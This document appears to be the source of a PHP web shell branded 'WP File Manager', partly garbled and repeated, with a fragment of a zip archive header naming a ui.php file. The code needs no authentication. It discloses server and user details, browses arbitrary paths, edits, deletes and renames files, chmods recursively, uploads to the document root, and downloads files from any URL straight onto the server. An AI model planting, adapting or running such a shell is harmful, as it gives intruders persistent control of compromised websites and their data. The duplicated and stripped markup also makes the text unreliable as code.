'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëilir@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
